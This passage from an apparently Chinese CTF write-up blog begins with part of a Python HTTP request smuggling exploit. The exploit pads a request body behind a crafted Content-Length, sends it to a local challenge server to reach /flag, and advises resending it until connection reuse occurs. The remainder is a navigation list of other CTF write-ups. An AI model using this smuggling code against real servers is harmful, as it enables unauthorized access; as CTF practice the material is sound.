def build_payload(padding_size, smuggled):
    padding = b"B" * padding_size  # P 字节填充（例如 100 字节）
    full_body = padding + smuggled
    return full_body
 
def build_http_request(full_body):
    request_line = b"GET /flag HTTP/1.1\r\n"
    headers = (
        b"Host: 127.0.0.1:8081\r\n" +
        b"Content-Length: " + str(len(full_body)).encode() + b"\r\n" +
        b"\r\n"
    )
    http_request = request_line + headers + full_body
    return http_request
 
def send_payload(host, port, payload):
    with socket.create_connection((host, port)) as s:
        print(f"[+] 连接到 {host}:{port}")
        s.sendall(payload)
        print("[+] Payload 已发送，等待响应...")
        response = b""
        s.settimeout(2)
        try:
            while True:
                chunk = s.recv(4096)
                if not chunk:
                    break
                response += chunk
        except socket.timeout:
            pass
        print("[+] 收到响应：")
        try:
            print(response.decode())
        except UnicodeDecodeError:
            print(response)
 
def main():
    # 选择填充长度 P
    padding_size = 100
    smuggled = build_smuggled_request()
    print(f"[+] 构造的 smuggled 请求长度: {len(smuggled)} bytes")
    full_body = build_payload(padding_size, smuggled)
    print(f"[+] 最终 HTTP 请求体总长度: {len(full_body)} bytes")
    http_request = build_http_request(full_body)
    print(f"[+] 构造的 HTTP 请求总长度: {len(http_request)} bytes")
    send_payload("ip", port, http_request)
 
if __name__ == "__main__":
    main()

多发几次就可以卡出连接复用。

国内赛 on Freedom

鹏城杯2025web复现

X_xSe

ez_php

Uplssse

ezDjango

0x01 代码审计

/generate

/upload

/copy

/cache/viewer

/cache/trigger

0x02 预期

0x03 非预期

ezJava

0x01 路径穿越

0x02 代码审计

jwt越权

admin路由

0x03 exploit

参考文章

Hitctf 2024&2025 web wp

2024

mathex

wget

2025

logServer

0x01 sqlite注入

0x02 伪随机预测

Freestyle

0x01 源码分析

0x02 非预期

0x03 预期

Impossible SQL

0x01 源码分析

0x02 关键字WAF绕过

0x03 PDO绕过

0x04 构造payload

0x05 exp

ezLoader

DASCTF2025下半年 web wp

SecretPhotoGallery

0x01 万能密码

0x02 jwt越权

0x03 文件包含

devweb

0x01 /login

0x02 /download

0x03 ../../flag

Sunset

NepCTF 2025 web wp

0x00 前言

0x01 easyGooGooVVVY&&RevengeGooGooVVVY

0x02 JavaSeri

0x03 safe_bank

0x04 fakexss

0x05 我难道不是 sql 注入天才吗

0x06 参考链接

aliyunctf 2025 web 部分复现

前言

ezoj

官方 wp 的做法

baozongwi 师傅的解法

打卡 ok

非预期

预期

hgame week2 web 复现

前言

HoneyPot && revenge

SigninJava

日落的紫罗兰

不存在的车厢